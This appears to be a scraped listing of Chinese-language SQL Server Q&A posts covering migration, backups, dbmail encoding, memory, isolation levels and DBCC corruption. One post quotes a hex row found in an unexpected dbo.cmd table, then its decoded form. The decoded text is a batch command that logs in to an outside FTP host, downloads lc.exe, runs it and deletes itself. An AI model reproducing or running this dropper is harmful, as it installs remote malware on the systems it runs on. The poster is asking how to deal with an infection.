标签: sql-server

从 Windows 迁移到 Linux

我计划将 SQL Server 2008 标准版迁移到 Linux 服务器实例。我对这个实例有两个问题:

  1. 如何激活这个实例?
  2. 如何在单一模式下运行实例来恢复所有数据库(使用 master)?

sql-server-2008 sql-server linux

1
推荐指数
1
解决办法
278
查看次数

新数据库,它已经有一个表`dbo.cmd`

我正在使用 SQL Server 2014 中的 UI 创建一个新数据库,当我打开表时,它已经有一个表dbo.cmd

CREATE TABLE [dbo].[cmd](
    [a] [image] NOT NULL
) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY]
Run Code Online (Sandbox Code Playgroud)

它还插入了一行:

0x406364202573797374656D726F6F74255C68656C7026406563686F206F70656E2062326263732E676F746F667470312E636F6D3E536F2E3126406563686F2062326263733E3E536F2E3126406563686F2035357A65343235323E3E536F2E3126406563686F20676574206C632E6578653E3E536F2E3126406563686F206279653E3E536F2E312640667470202D733A536F2E312664656C20536F2E3126406C632E6578652664656C202530252665786974
Run Code Online (Sandbox Code Playgroud)

我尝试将其转换为字符串,结果如下:

@cd %systemroot%\help&@echo open b2bcs.gotoftp1.com>So.1&@echo b2bcs>>So.1&@echo 55ze4252>>So.1&@echo get lc.exe>>So.1&@echo bye>>So.1&@ftp -s:So.1&del So.1&@lc.exe&del %0%&exit
Run Code Online (Sandbox Code Playgroud)

在关注这个之后,我发现它是一个 bash 脚本,我尝试执行 bash 脚本,我的文件lc.exe夹中有一个文件%systemroot%/Help/lc.exe,但我还没有执行脚本中的最后一个命令:

lc.exe&del %0%&exit
Run Code Online (Sandbox Code Playgroud)

这是什么?我试过搜索这个,但找不到任何东西。我不知道这里发生了什么,我该如何解决这个问题?

sql-server sql-server-2014

1
推荐指数
1
解决办法
248
查看次数

按日期和用户获取表中的最新记录

我有一张如下表:

SELECT [EffectiveDate]
      ,[Rate]
      [ModUser]
      FROM [Vision]
Run Code Online (Sandbox Code Playgroud)

有很多行带有 ModUsers 名称。我需要提供 ModUsers 名称并获取最新费率。

我怎么做?

sql-server greatest-n-per-group

1
推荐指数
1
解决办法
5416
查看次数

数据库备份压缩

我试图查看我的所有备份是否已压缩。我运行下面的查询来检查但没有得到好的结果:

select top(10) database_name, 
case when  backup_size = compressed_backup_size then 'Compressed'
else 'Not compressed'
end as Compression, 
backup_finish_date
from msdb.dbo.backupset
where database_name ='MyDAtabase'
order by backup_start_date desc
Run Code Online (Sandbox Code Playgroud)

我在用:

Microsoft SQL Server 2008 R2 (SP2) - 10.50.4000.0 (X64)
2012 年 6 月 28 日 08:36:30 版权所有 (c)
Windows NT 6.1(内部版本 7601:Service Pack 1)上的Microsoft Corporation标准版(64 位)

默认情况下,我们设置了压缩,但是一旦我运行该查询,我得到的结果数据库没有被压缩。

sql-server-2008 sql-server backup compression

1
推荐指数
1
解决办法
97
查看次数

sp_send_dbmail 在结果集中的所有字符之间填充 00 位

我在每晚触发的 SQL 代理作业中使用 sp_send_dbmail。该作业查询我们的数据库并检查产品价格更新,如果有,它将通过电子邮件作为附件发送给我们的电子商务供应商。他们有一些自动流程,他们会更新我们的电子商务平台,但是他们的自动流程无法处理 sp_send_dbmail 提供的文件。sp_send_dbmail 似乎在结果集中的所有字符之间放置了空字符。

查看在十六进制编辑器中打开 csv 的结果:

十六进制捕捉

通过文本编辑器查看我看到的预期:

文字捕捉

sp_send_dbmail 在这里查询:

    SET @FileName = 'Update_' + CONVERT(VARCHAR(12),GETDATE),105) '.csv'        
    SET @Query = 'Some Query'

    EXEC msdb.dbo.sp_send_dbmail
        @recipients = 'me@domain.com'
        @query = @Query
        @attach_query_result_as_file = 1
        @query_attachment_filename = @FileName
        @query_result_separator = ','
        @query_result_no_padding =  1
    END
Run Code Online (Sandbox Code Playgroud)

这里发生了什么?

****编辑补充说明****

使用 Microsoft SQL Server 2008 R2 排序规则为 Latin1_General_CI_AS

离开 no_padding 会在每个返回的字段中留下几个尾随空格。每个空格 (20) 由​​空值 (00) 分隔

NoPadCapture

sql-server t-sql database-mail encoding unicode

1
推荐指数
1
解决办法
692
查看次数

将最大服务器内存设置为高于操作系统可用内存

我有一台服务器,它被重新用于 SQL Server。它带有比我的操作系统 (Windows Server 2008 R2) 可以看到的 32GB 更多的物理内存。

管理层希望我将 SQL (SQL Server 2008 R2 Service Pack 3) 使用的最大服务器内存配置为高于操作系统所看到的。我可以通过 SQL Server Management Studio 在 SQL Server 的属性中更改它。SQL Server 能否使用额外的 RAM?还是会耗尽操作系统可用的所有内存?

sql-server memory sql-server-2008-r2

1
推荐指数
1
解决办法
1171
查看次数

T-SQL 替换结果中的 NULL 值

我对此不知所措。实现这一目标的简单方法是什么?

我有这样的“客户”表:

USER_ID| NAME    | J_ID   |K_ID    |Y_ID
-----------------------------------------
    1  |  CUST1  |  A     |  1     |  AB
    2  |  CUST2  |  B     |  2     |  NULL
    3  |  CUST3  |  C     |  3     |  EF
    4  |  CUST4  |  NULL  |  NULL  |  GH
    5  |  CUST5  |  E     |  5     |  IJ
Run Code Online (Sandbox Code Playgroud)

然后像这样的“R_ID”表:

   R_ID  | Y_ID    
------------------
    1A9  |  AB  
    2B8  |  CD  
    3C7  |  EF  
    4D6  |  GH  
    5E5  |  IJ  
Run Code Online (Sandbox Code Playgroud)

然后像这样的“JK_ID”表:

   R_ID  | J_ID | K_ID …
Run Code Online (Sandbox Code Playgroud)

sql-server t-sql

1
推荐指数
1
解决办法
370
查看次数

SQL Server 上的脏读

  1. SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED 位于“BEGIN”的不同部分。以下两个查询的行为是否相同?

  2. 视图 viewOne 和 viewTwo 会继承脏读吗?或者视图需要有一个明确的“NOLOCK”

查询 1

set transaction isolation level read uncommitted
begin    
    select col1 from viewOne
    select * from viewTwo
    select * from table1
end
Run Code Online (Sandbox Code Playgroud)

查询 2

begin    
    set transaction isolation level read uncommitted
    select col1 from viewOne
    select * from viewTwo
    select * from table1     
end
Run Code Online (Sandbox Code Playgroud)

performance sql-server transaction isolation-level query-performance

1
推荐指数
1
解决办法
900
查看次数

如何修复 DBCC CHECKDB 报告的错误

我收到了很多错误DBCC CHECKDB,包括:

消息 8939,级别 16,状态 98,第 1 行
表错误:对象 ID 0,索引 ID -1,分区 ID 0,分配单元 ID 3667181342891245568(未知类型),页面(7791:-1694668604)。测试 (IS_OFF (BUF_IOERR, pBUF->bstat)) 失败。值为 133129 和 -12。

消息 8928,级别 16,状态 1,第 1 行
对象 ID 405576483,索引 ID 73,分区 ID 72057594049200128,分配单元 ID 72057594054246400(类型行内数据):处理页 (1:194) 有关详细信息,请参阅其他错误。

消息 8976,级别 16,状态 1,第 1 行
表错误:对象 ID 405576483,索引 ID 73,分区 ID 72057594049200128,分配单元 ID 72057594054246400(类型行内数据)。页面 (1:194923) 未在扫描中看到,尽管其父页面 (1:186194) 和上一个页面 (1:194922) 引用了它。检查以前的任何错误。

消息 8980,级别 16,状态 1,第 1 行
表错误:对象 ID 405576483,索引 ID 73,分区 ID 72057594049200128,分配单元 ID 72057594054246400(类型行内数据)。索引节点页 (1:186194),槽 …

sql-server dbcc-checkdb

1
推荐指数
1
解决办法
9060
查看次数

使用 bcp 导出数据以处理损坏的数据

DBCC CHECKDB在 SQL Server 2014 上已损坏行的表上运行时遇到一致性错误。在前 30,000 行(总计 140 万(140 万)行)之后,我遇到了损坏错误。

我想尝试bcp将数据取出,直到损坏为止。我想跳过损坏的行。我想bcp在损坏范围之后并尽量减少数据丢失。

我该怎么做?请详细说明。

另请参阅我之前的问题:在 SQL Server 2014 中的几个表上运行 CHECKDB 的一致性错误

sql-server bcp corruption sql-server-2014

1
推荐指数
1
解决办法
891
查看次数